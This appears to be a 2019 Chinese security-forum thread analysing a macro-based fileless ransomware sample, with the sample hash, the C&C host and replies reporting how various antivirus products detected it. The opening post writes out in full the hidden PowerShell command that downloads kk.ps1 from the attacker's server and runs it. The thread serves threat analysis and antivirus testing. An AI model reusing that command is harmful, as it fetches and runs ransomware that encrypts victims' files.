貌似是新型的无文件勒索

显示全部楼层 · 发表于 2019-10-7 22:15:08

样本hash:2ad6ed0c04e522b60721dc46b2381a9f

VT连接:https://www.virustotal.com/gui/f ... a5c970378f3/details
文件名称:Panduan_Kemaskini.doc
C&C:hxxp://ec2-52-220-60-155.ap-southeast-1.compute.amazonaws.com
加密方式:AES
加密后缀名:*.docx,*.doc,*.xls,*.xlsx,*.ppt,*.pptx,*.pdf
流程:macro --> kk.ps1 --> download from c2 and execute in memory --> encrypted --> show the dialogue

doc诱饵文档截图:

宏代码截图:

执行命令:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -nop -w hidden Invoke-WebRequest http://ec2-52-220-60-155.ap-southeast-1.compute.amazonaws.com/$envUsername ; Invoke-WebRequest http://ec2-52-220-60-155.ap-southeast-1.compute.amazonaws.com/kk.ps1 -outfile C:\Users\Public\kk.ps1; powershell C:\Users\Public\kk.ps1; rm C:\Users\Public\kk.ps1

复制代码

kk.ps1解密后 (解密后的kk.ps1完整版在附件中)
加密核心代码:

附件解压密码:infected

显示全部楼层 · 发表于 2019-10-7 22:17:18

ESET

时间;扫描程序;对象类型;对象;检测;操作;用户;信息;哈希;此处首次所见
10/7/2019 9:16:16 AM;文件系统实时防护;文件;C:\Users\zhong\Downloads\Kafan\Panduan_Kemaskini.doc\Panduan_Kemaskini.doc\Panduan_Kemaskini.doc;VBA/TrojanDownloader.Agent.PVL 特洛伊木马;已清除;DESKTOP-KM3A835\zhong;在应用程序新建的文件上发生事件: C:\Users\zhong\Downloads\WinRAR\x64\WinRAR.exe (606C685D54E2680C05BAF2D901D159C30513DC03).;75C4FE6776E8C82B4A33A564E96E34D29AC83E25;10/7/2019 9:16:16 AM
10/7/2019 9:16:17 AM;文件系统实时防护;文件;C:\Users\zhong\Downloads\Kafan\Panduan_Kemaskini.doc\Panduan_Kemaskini.doc\kk.ps1;Win32/Filecoder.NWX 特洛伊木马;通过删除清除;DESKTOP-KM3A835\zhong;在应用程序新建的文件上发生事件: C:\Users\zhong\Downloads\WinRAR\x64\WinRAR.exe (606C685D54E2680C05BAF2D901D159C30513DC03).;588313CDD278B9C1CF64DB4A7A8839C0689F548F;10/7/2019 9:16:16 AM

复制代码

显示全部楼层 · 发表于 2019-10-7 22:18:44

卡巴

显示全部楼层 · 发表于 2019-10-7 22:28:16

Avast扫描Miss
双击
Panduan_Kemaskini.doc 双击后AvastIDP报命令行发现

kk.ps1 双击Avast的勒索软件防护弹出警报，点击允许后再双击，弹出了个勒索界面，然而没有文件被加密

显示全部楼层 · 发表于 2019-10-7 23:32:48

智量Heur杀doc，火绒Miss All，有空双击。。

显示全部楼层 · 发表于 2019-10-7 23:35:31

红伞启发

显示全部楼层 · 发表于 2019-10-7 23:36:07

本帖最后由 www-tekeze 于 2019-10-7 23:44 编辑

安天杀doc，无BD管家Miss All 。

补充：将doc加入信任，双击，启用宏后安天还能阻止kk.ps1的加载，厉害！

显示全部楼层 · 发表于 2019-10-7 23:56:18

SEP Scan Miss，双击，kk.ps1成功加载，主防没反应，但等了一阵没见加密，不等了。。。

显示全部楼层 · 发表于 2019-10-7 23:57:07

MES：JTI/Suspect.459052!92f44e405db1

显示全部楼层 · 发表于 2019-10-8 00:04:38

McAfee Livesafe Miss All

[病毒样本] 貌似是新型的无文件勒索

本帖子中包含更多资源

评分

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源